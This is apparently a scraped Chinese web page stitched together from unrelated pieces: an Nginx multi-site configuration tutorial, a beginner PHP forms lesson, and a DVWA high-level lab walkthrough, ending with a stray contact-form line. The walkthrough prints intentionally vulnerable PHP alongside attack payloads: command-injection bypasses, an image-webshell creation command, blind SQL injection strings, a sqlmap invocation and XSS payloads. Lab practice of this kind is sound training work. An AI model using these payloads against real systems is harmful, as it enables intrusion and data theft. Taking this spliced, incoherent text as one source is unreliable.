言
今天給各位介紹下Tengine/Nginx服務器綁定多個域名多個網站的配置方法。
Tengine/Nginx配置文件
[root@localhost ~]# whereis nginx nginx: /usr/local/nginx [root@localhost ~]#
Nginx的配置文件
vim /usr/local/nginx/conf/nginx.conf #打開nginx配置文件命令 你也可以使用你喜歡的編輯工具如vi emacs gedit
原文件
#以下為Nginx 配置文件nginx.conf默認內容,已加注解。 user www www-data; #以www會員和www-data會員組運行nginx worker_processes 1; #最大進程數,一般設為cpu核心數量 如你是4核cpu 可以設為4 #error_log logs/error.log; #指定錯誤日志文件路徑,默認當前配置文件的父級目錄logs下的error.log #error_log logs/error.log notice; #指定錯誤日志文件路徑并指定為只記錄notice級別錯誤 #error_log logs/error.log info; #指定錯誤日志文件路徑并指定為只記錄info級別錯誤 #pid logs/nginx.pid; ##記錄nginx運行時的進程ID events { worker_connections 1024; #允許的最大連接數即tcp連接數 } # load modules compiled as Dynamic Shared Object (DSO) # 動態模塊加載(DSO)支持。加入一個模塊不再需要重新編譯整個Tengine 這個是Tengine特有的 #dso { # load ngx_http_fastcgi_module.so; #fastcgi模塊 # load ngx_http_rewrite_module.so; #URL重寫模塊 #} http { include mime.types; #設定mime類型,類型由conf目錄下mime.type文件定義 default_type application/octet-stream; #默認為 任意的二進制數據 ## 可配置日志格式: $remote_addr訪客ip ## $remote_user已經經過Auth Basic Module驗證的用戶名 ## $time_local訪問時間 ## $request請求的url ## $body_bytes_sent 傳送頁面的字節數 $http_referer訪問來源 #log_format main '$remote_addr - $remote_user [$time_local] "$request" ' # '$status $body_bytes_sent "$http_referer" ' # '"$http_user_agent" "$http_x_forwarded_for"'; #access_log logs/access.log main; #訪問記錄日志 sendfile on; #開啟高效文件傳輸模式 注意:如果圖片顯示不正常把這個改成off。 #tcp_nopush on; #防止網絡阻塞 #keepalive_timeout 0; keepalive_timeout 65; #長連接超時時間,單位是秒 #gzip on; #開啟gzip壓縮 server {#虛擬主機的配置 listen 80; #監聽80端口 server_name localhost; #綁定域名可以有多個,用空格隔開 #charset koi8-r; #字符編碼 可設為 utf-8 #access_log logs/host.access.log main; #訪問記錄日志 location / { ##網站根目錄設置在這里 root html; #配置文件父級html目錄,可以設到其它目錄如/home/www目錄,注意目錄的所有者和權限 本文開頭處user的信息 index index.html index.htm; #默認索引文件,從左到右,如:index.php index.html index.htm 空格分開 } #error_page 404 /404.html; #指定404錯誤文件位置 root指定目錄下的404.html 以下50x文件同理 # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; ##服務器50x得的錯誤都跳轉到html/50x.html文件 location = /50x.html { root html; } # proxy the PHP scripts to Apache listening on 127.0.0.1:80 # 配置處理php文件,需要安裝PHP #location ~ \.php$ { # proxy_pass http://127.0.0.1; #} # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 # #location ~ \.php$ { # root html; # fastcgi_pass 127.0.0.1:9000; # fastcgi_index index.php; # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; # include fastcgi_params; #} # deny access to .htaccess files, if Apache's document root # concurs with nginx's one # #location ~ /\.ht { # deny all; ##禁止使用.htaccess文件 #} } # #server { # listen 8000; # listen somename:8080; # server_name somename alias another.alias; # location / { # root html; # index index.html index.htm; # } #} # HTTPS server # #server { # listen 443 ssl; # server_name localhost; # ssl_certificate cert.pem; # ssl_certificate_key cert.key; # ssl_session_cache shared:SSL:1m; # ssl_session_timeout 5m; # ssl_ciphers HIGH:!aNULL:!MD5; # ssl_prefer_server_ciphers on; # location / { # root html; # index index.html index.htm; # } #} }
修改后
###以下為修改過的nginx.conf配置文件,已加注解。 user www www-data; #以www會員和www-data會員組運行nginx worker_processes 1; #最大進程數,一般設為cpu核心數量 如你是4核cpu 可以設為4 error_log logs/error.log; #指定錯誤日志文件路徑,默認當前配置文件的父級目錄logs下的error.log #error_log logs/error.log notice; #指定錯誤日志文件路徑并指定為只記錄notice級別錯誤 #error_log logs/error.log info; #指定錯誤日志文件路徑并指定為只記錄info級別錯誤 pid logs/nginx.pid; ##記錄nginx運行時的進程ID events { use epoll; #新加 提高nginx的性能,限Linux下使用 worker_connections 1024; #允許的最大連接數即tcp連接數 } # load modules compiled as Dynamic Shared Object (DSO) # 動態模塊加載(DSO)支持。加入一個模塊不再需要重新編譯整個Tengine 這個是Tengine特有的 #dso { # load ngx_http_fastcgi_module.so; #fastcgi模塊 # load ngx_http_rewrite_module.so; #URL重寫模塊 #} http { include mime.types; #設定mime類型,類型由conf目錄下mime.type文件定義 default_type application/octet-stream; #默認為 任意的二進制數據 ##可配置日志格式: $remote_addr訪客ip ## $remote_user已經經過Auth Basic Module驗證的用戶名 ## $time_local訪問時間 ## $request請求的url ## $body_bytes_sent 傳送頁面的字節數 ## $http_referer訪問來源 #log_format main '$remote_addr - $remote_user [$time_local] "$request" ' # '$status $body_bytes_sent "$http_referer" ' # '"$http_user_agent" "$http_x_forwarded_for"'; #access_log logs/access.log main; #訪問記錄日志 sendfile on; #開啟高效文件傳輸模式 注意:如果圖片顯示不正常把這個改成off。 #tcp_nopush on; #防止網絡阻塞 #keepalive_timeout 0; keepalive_timeout 65; #長連接超時時間,單位是秒 gzip on; #開啟gzip壓縮 ## 新加 include 項引入/usr/local/nginx/vhosts/目錄下所有.conf結尾的虛擬機配置文件 include /usr/local/nginx/vhosts/*.conf }
建立虛擬機配置目錄
mkdir /usr/local/nginx/vhosts/
新建網站配置文件
vim /usr/local/nginx/vhosts/test.conf ##www.test.my 的配置文件 server { #虛擬主機的配置 listen 80; #監聽80端口 server_name www.test.my www.test.my; #綁定域名可以有多個,用空格隔開 #charset koi8-r; #字符編碼 可設為 utf-8 charset utf-8; #access_log logs/host.access.log main; #訪問記錄日志 location / { ##網站根目錄設置在這里 root html; #配置文件父級html目錄,可以設到其它目錄如/home/www目錄,注意目錄的所有者和權限 本文開頭處user的信息 index index.html index.htm; #默認索引文件,從左到右,如:index.php index.html index.htm 空格分開 } #error_page 404 /404.html; #指定404錯誤文件位置 root指定目錄下的404.html 以下50x文件同理 # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; ##服務器50x得的錯誤都跳轉到html/50x.html文件 location = /50x.html { root html; } # proxy the PHP scripts to Apache listening on 127.0.0.1:80 # 配置處理php文件,需要安裝PHP #location ~ \.php$ { # proxy_pass http://127.0.0.1; #} # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 # #location ~ \.php$ { # root html; # fastcgi_pass 127.0.0.1:9000; # fastcgi_index index.php; # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; # include fastcgi_params; #} # deny access to .htaccess files, if Apache's document root # concurs with nginx's one # #location ~ /\.ht { # deny all; ##禁止使用.htaccess文件 #} }
配置多個網站
#如再配置一個域名為 yuntheme.com站點的配置文件 vim /usr/local/nginx/vhosts/yuntheme.conf #復制剛才的test.conf的內容,只要像下面修改就行了 location / { ##網站根目錄設置在這里 root /usr/local/nginx/html/yuntheme; #修改此處 index index.html index.htm; }
完成配置,重啟Nginx
累點滴,匯成江海。咱們從最最基礎的PHP知識開始學習,一步一個腳印的開啟PHP的學習旅途吧。
請點擊右上角“關注”按鈕關注我們喲:跟著木辛老師學習PHP編程知識,變身快樂的編程達人吧~
同學們好呀!木辛老師又來了。
咱們在開始PHP的學習之前,需要先準備一個可以提供PHP服務的Web服務器。我們就復用木辛老師專欄中的一個教程,使用Homestead本地開發環境進行學習唄。
傳送門:《Laravel第一課:搭建Laravel開發環境》
也可以關注木辛老師的Laravel專欄喲:
大家配置好本地開發環境以后,還需要稍微設置一下,針對這個項目,在Homestead配置文件中作如下設置,
添加指向當前項目根目錄的配置:
sites: - map: learning_php.test to: /Code/zyoo/learning_php to: /Code/zyoo/learning_php
另外還需要在本機hosts文件中添加一個域名指向:
sudo vim /etc/hosts
并添加如下記錄:
192.168.10.10 learning_php.test
最后,添加一個測試文件:
php代碼
然后,打開瀏覽器,訪問域名查看頁面結果
執行效果
大家可以看到,我們已經可以成功的訪問到測試用的PHP文件了。
好了,萬事俱備,只需要學習了。那么,咱們開始吧~
幾乎絕大部分服務器端的腳本語言最初設計的應用場景之一就是處理HTML表單。木辛老師要翻出家底,將自己最心愛的在線圖書商城,用來作為學習PHP基礎知識的場景吧。
通過這個表單頁面,我們可以知道顧客訂購的商品,訂單的金額以及其他一些附屬信息。HTML代碼請看下方:
<html> <head> <title>木辛老師的PHP基礎入門教程</title> </head> <body> <form action="processorder.php" method="POST"> <table style="border: 0px;"> <tr style="background: #cccccc"> <td style="width: 150px;text-align:center;">圖書名稱</td> <td style="width: 50px;text-align:center;">數量</td> </tr> <tr> <td>PHP入門指南</td> <td><input type="text" name=“book_name_01" size="3" maxlength="3"/></td> </tr> <tr> <td>PHP和MySQL開發</td> <td><input type="text" name="book_name_02" size="3" maxlength="3"/></td> </tr> <tr> <td>Laravel入門</td> <td><input type="text" name="book_name_03" size="3" maxlength="3"/></td> </tr> <tr> <td colspan="2" style="text-align: center;"> <input type="submit" value="提交訂單"/> </td> </tr> </table> </form> </body> </html>
咱么直接通過瀏覽器訪問這個HTML頁面,看看效果:
頁面顯示
哈,簡單的頁面,我們已經開啟Web開發神秘旅程了。繼續加油!
大家可能注意到了一個細節:在html代碼的form表單部分,action屬性我們指向了一個php腳本:
<form action="processorder.php" method="POST”>
具體的PHP腳本的學習我們很快就能看到。這里只是稍微提一下,這個action屬性值就是用戶點擊“提交訂單”按鈕時將要請求的URL。
用戶在表單中輸入的數據,會以POST的方式,發送給URL指向的PHP文件進行處理。
那如何處理這個表單呢?又如何讓PHP代碼起作用的?
要處理這個表單,我們需要創建一個php文件,它的名字需要和form中action屬性的值保持一致。
那么,我們就創建一個名字叫做processorder.php的文件吧。
代碼可以先這么寫,看看是否能起作用哈:
<html> <head> <title>訂單處理結果</title> </head> <body> <h1> 木辛老師的在線圖書館</h1> <h2> 訂單處理結果通知</h2> <?php echo '<p>訂單已處理完成</p>'; // 這里是PHP的代碼 ?> </body> </html>
保持文件,并刷新頁面。這個時候我們點擊“提交訂單”按鈕,效果如下:
php執行結果
大家可以看到,紅框部分就是通過PHP代碼輸出的結果。這樣,我們就實現了通過Web方式執行了PHP代碼的需求,這么一看PHP還是非常簡單的吧。
我們順便在看看這個頁面的源代碼吧,看一下PHP代碼如何在HTML頁面中完成任務的吧:
源代碼
通過頁面源碼,我們發現剛才寫的PHP代碼已經不見了,取而代之的是
<p>訂單已處理完成</p>
這是怎么回事呢?
這是因為PHP解釋器在腳本運行的時候,將該腳本的輸出替代了腳本自身的代碼,通過這種方式,就可以生成可以在任何瀏覽器上運行的HTML頁面了。也就是說,瀏覽器是不需要學會PHP的。
通過這段代碼,我們可以學習一些PHP的基礎知識:
第一種情況:在HTML中混寫PHP和HTML代碼,需要為php添加標記。PHP代碼會以“<?php”作為開始,以“?>”作為結束。這些符號就叫做PHP標記,它們主要用來告訴服務器PHP代碼的開始和截止,在這兩個起止符號之間的任何代碼,服務器都會以PHP語法來解析。
另一種情況:之后,我們寫純PHP的時候,每個文件也需要添加PHP標記。不過呢,結束標記可以省略,這也是很大一部分PHPer默認遵守的規則。
在PHP的開始和截止標記之間,就是PHP語句了,通過這些內容可以告訴PHP解釋器應該進行如何的操作,在我們這個例子里,通過:
echo '<p>訂單已處理完成</p>’;
使用echo語句完成了一個非常簡單的操作,僅是將echo后邊的字符串原樣打印到瀏覽器中。這里需要特別注意的一點就是每個PHP語句后邊都需要添加英文的分號作為語句的結束符,否則會出現錯誤,但是在這個html頁面中,因為只有一句代碼,忽略掉分號也是不會報錯的。
但是還是強烈建議大家養成習慣:每句PHP代碼結束都要以分號結尾喲!
一般情況下,為了讓代碼更加清晰和整潔,在編碼的過程中會添加一些空格,這些空格包括:回車換行、空格、制表符等都被認為是空格。
當然了,瀏覽器并不會在意你是否輸入了空格,同樣的PHP服務器端解析器也會忽略這些,這些空格僅是給編寫代碼的人看的。
但是,木辛老師還是再次強烈建議,在代碼的適當位置添加空格或者空行,這樣做可以很有效的提升代碼的可閱讀性,方便后期的維護工作。
最后在講講注釋,理論上在編程中出現頻率非常高的一個知識點。
為什么說理論上呢,因為這么重要的一個要點,在實際開發中很容易被廣大開發者忽略呢!
由于種種原因吧,開發者很不習慣在開發過程中寫非常詳盡的注釋,而且有時候在Git提交時也是草草的一筆帶過。這樣做的后果就是,若干時間后,當你再次拿到這段代碼,可能會花費更多的時間梳理它。
所以,善于寫注釋,也是提高生產效率的一種有效手段。
PHP解釋器同樣會在執行的時候忽略掉注釋,也就是說就好比像空格一樣,PHP解析器會跳過注釋,它只負責執行PHP代碼!
PHP腳本中的注釋比較豐富,有很多類似C語言的風格,比如:
多行注釋:
/* 這是 一個 多行 注釋 /*
可以看出來,多行注釋以 /*開始,以*/結束。同樣的和C語言是一樣的,多行注釋是不能嵌套的。
當然了,除了多行注釋之外,也支持單行注釋:
echo '<p>訂單已處理完成</p>'; // 這里是PHP的代碼
或者這種:
echo '<p>訂單已處理完成</p>’; #這里是PHP的代碼
不論采取哪種風格的注釋,在注釋符號之后的所有內容,PHP解釋器都會認識不需要處理的,這一點一定要注意呀!
好了,今天的課程咱就先講到這里。
小朋友們不要忘記關注我們喲 ,下期課程更精彩,請大家一起期待吧~
快樂編程,快樂成長,拜拜!
習網絡攻防技術一定離不開靶場練習,Dvwa是一個非常經典的靶場,涵蓋csrf、sql注入、文件包含等漏洞環境,并有Low、Medium、High、Impossible四種不同的安全等級,適合新手練習,通過該靶場可以由淺入深的學習漏洞原理和代碼審計。
本文是i春秋論壇版主「Adian大蟈蟈」表哥直接在Dvwa high進行測試的完整攻略,對靶場練習是一個非常好的指導,感興趣的小伙伴快來學習吧。
DVWA共有14個漏洞選項,我們逐一來看:
Brute Force
我們先來看看high.php
<?phpif( isset( $_GET[ 'Login' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input $user = $_GET[ 'username' ]; $user = stripslashes( $user ); $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful $html .= "<p>Welcome to the password protected area {$user}</p>"; $html .= "<img src=\"{$avatar}\" />"; } else { // Login failed sleep( rand( 0, 3 ) ); $html .= "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}// Generate Anti-CSRF tokengenerateSessionToken();?>
High級別的猜解加了一個防止CSRF的驗證token,使用了stripslashes( )等函數來轉義或過濾,雖然加大了猜解的難度,但是還是可以猜解的。
我們先正常抓包:
得到完整數據包之后,我們把需要猜解的參數范圍選中user_token和password,選擇Pitchfork測試類型。
找到Redirections選中always允許重定向:
最后在Options中找到Grep-Extract模塊,點擊Add,并設置篩選條件,得到user_token。
然后設置payload,帶token參數的paylaod直接把token粘貼進去就可以了,其他照常。
然后開始猜解,關于其他文章提到的線程設置為1,新版本的burpsuite設置了Pitchfork之后,就默認為1不可更改,所以這個問題不再敘述了。
Command Injection(命令執行)
我們先簡單的試一下:
可見$被過濾了,在看一下代碼:
<?phpif( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user $html .= "<pre>{$cmd}</pre>";}?>
代碼可以看見將$;()都進行了轉換,轉成了空字符串,這也就導致了我們輸入的這些能同時執行其他命令的符號都無法使用了。
但是仔細看過濾 "| ",如果我們把后面的空格刪去直接執行,也是可以執行的。
CSRF
還是看源代碼high.php
<?phpif( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}// Generate Anti-CSRF tokengenerateSessionToken();?>
由上面的代碼可見,High級別的代碼加入了Anti-CSRF token機制,用戶每次訪問改密碼時,服務器會返回一個隨機的token,提交的參數帶有正確的token才能執行,我們可以利用burp的插件CSRFTokenTracker繞過token驗證,這里我借用一下其他人的圖片。
裝好之后,設置好名稱和內容就可以直接去repeater里面測試了,每次的token會自動刷新。
File Inclusion(文件包含)
<?php// The page we wish to display$file = $_GET[ 'page' ];// Input validationif( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit;}?
這次的代碼量很小,大概解讀一下:
if( !fnmatch( "file*", $file ) && $file != "include.php" )
如果沒有這個文件或者這個文件不是include.php,那么就不會執行,但是我們可以使用file協議繞過。
File Upload(文件上傳)
先看一下high.php:
<?phpif( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No $html .= '<pre>Your image was not uploaded.</pre>'; } else { // Yes! $html .= "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; }}?>
可以看到getimagesize( )函數來驗證有沒有相關的文件頭等等,所以直接改格式不行,需要一個圖片馬兒,也會判斷最后的'.'后的內容必須是jpg,jpeg,png三者之一。
圖片馬的制作很簡單,打開cmd:
copy shell.php/b+test.png/a hack.png
簡單的用記事本打開圖片,在里面加入一句話也可以,然后我們用00截斷的方式來繞過上傳。
Insecure CAPTCHA(不安全驗證碼)
Insecure CAPTCHA,意思是不安全的驗證碼,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart(全自動區分計算機和人類的圖靈測試)的簡稱。
recaptcha_check_answer($privkey,$remoteip, $challenge,$response)
看一下代碼:
<?phpif( isset( $_POST[ 'Change' ] ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_POST['g-recaptcha-response'] ); if ( $resp || ( $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3' && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA' ) ){ // CAPTCHA was correct. Do both new passwords match? if ($pass_new == $pass_conf) { $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for user $html .= "<pre>Password Changed.</pre>"; } else { // Ops. Password mismatch $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } else { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}// Generate Anti-CSRF tokengenerateSessionToken();?>
可以判斷出當$resp == False以及g-recaptcha-response != hidd3n_valu3或者HTTP_USER_AGENT != reCAPTCHA的時候,驗證碼為錯誤,$resp的值我們控制不了,是由recaptcha_check_answer( )決定的,所以我從g-recaptcha-response和HTTP_USER_AGENT入手。
我們更改HTTP_USER_AGENT的值為reCAPTCHA
添加g-recaptcha-response的值為hidd3n_valu3
就ok了
SQL Injection(SQL注入)
<?phpif( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>
和文件包含一樣的簡潔,前端比low級多了一個彈出框:
由于多了一個頁面,所以我們不能直接sqlmap-u這樣的語法了,而且還有cookie和session的限制(可以填進去,看看usage)。
所以我們要用到--second-order,抓個包,將內容都放到1.txt中然后執行。
sqlmap -r 1.txt -p id --second-order "http://192.168.242.1/dvw/vulnerabilities/sqli/" --level 2
SQL Injection (Blind)
high.php
<?phpif( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user $html .= '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user $html .= '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>
抓包將cookie中參數id改為1’ and length(database( ))=4 #,顯示存在,說明數據庫名的長度為4個字符;
抓包將cookie中參數id改為1’ and length(substr(( select table_name from information_schema.tables where table_schema=database( ) limit 0,1),1))=9 #,顯示存在,說明數據中的第一個表名長度為9個字符;
抓包將cookie中參數id改為1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 為users的16進制),顯示存在,說明uers表有8個字段。
Weak Session IDs
high.php
<?php$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") { if (!isset ($_SESSION['last_session_id_high'])) { $_SESSION['last_session_id_high'] = 0; } $_SESSION['last_session_id_high']++; $cookie_value = md5($_SESSION['last_session_id_high']); setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);}?>
看到$cookie_value就是md5加密了last_session_id_high,last_session_id_high這個值初始為0,逐個+1然后md5加密,所以這個cookie校驗對我們無效,構造payload使用火狐提交。
XSS (DOM)
high.php
<?php// Is there any input?if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; }}?>
提交后url為:
http://192.168.159.129/vulnerabilities/xss_d/?default=English
<option value=''>English</option>
我們在里面插入Javascipt語句:
<option value=''>English #<script>alert(/xss/)</script></option>
這樣兩個標簽都閉合,我們來看看效果:
XSS (Reflected)
high.php
<?phpheader ("X-XSS-Protection: 0");// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>";}?>
居然直接正則把<script>過濾了,雙寫大小寫繞過都不可以,但是我們還可以插別的標簽,比如img比如body。
<img src=1.jpg>
我們可以看見,這個標簽執行了。
XSS (Stored)
high.php
<?phpif( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close();}?>
和上面一樣,正則過濾<script>,還是和上面一樣,用img標簽。
<img src=1.jpg onerror=alert(/adian/)>
Burpsuite抓包改參數:
彈出
CSP Bypass
Content Security Policy(CSP),內容(網頁)安全策略,為了緩解潛在的跨站腳本問題(XSS攻擊),瀏覽器的擴展程序系統引入了內容安全策略(CSP)這個概念。具體內容可以參見《Content Security Policy 入門教程》,類似白名單的一種機制。
<?php$headerCSP = "Content-Security-Policy: script-src 'self';";header($headerCSP);?><?phpif (isset ($_POST['include'])) {$page[ 'body' ] .= " " . $_POST['include'] . "";}$page[ 'body' ] .= '<form name="csp" method="POST"> <p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p> <p>1+2+3+4+5=<span id="answer"></span></p> <input type="button" id="solve" value="Solve the sum" /></form><script src="source/high.js"></script>';
high.js
function clickButton() { var s = document.createElement("script"); s.src = "source/jsonp.php?callback=solveSum"; document.body.appendChild(s);}function solveSum(obj) { if ("answer" in obj) { document.getElementById("answer").innerHTML = obj['answer']; }}var solve_button = document.getElementById ("solve");if (solve_button) { solve_button.addEventListener("click", function() { clickButton(); });}
在網上找到了一段代碼:
if (isset ($_POST['include'])) {$page[ 'body' ] .= " " . $_POST['include'] . "";}
來接收參數,然后再構造payload就可以了。
Javascript
high.php
<?php$page[ 'body' ] .= <<<EOF<script src="/vulnerabilities/javascript/source/high.js"></script>EOF;?>
生成token的步驟總結:
*請認真填寫需求信息,我們會在24小時內與您取得聯系。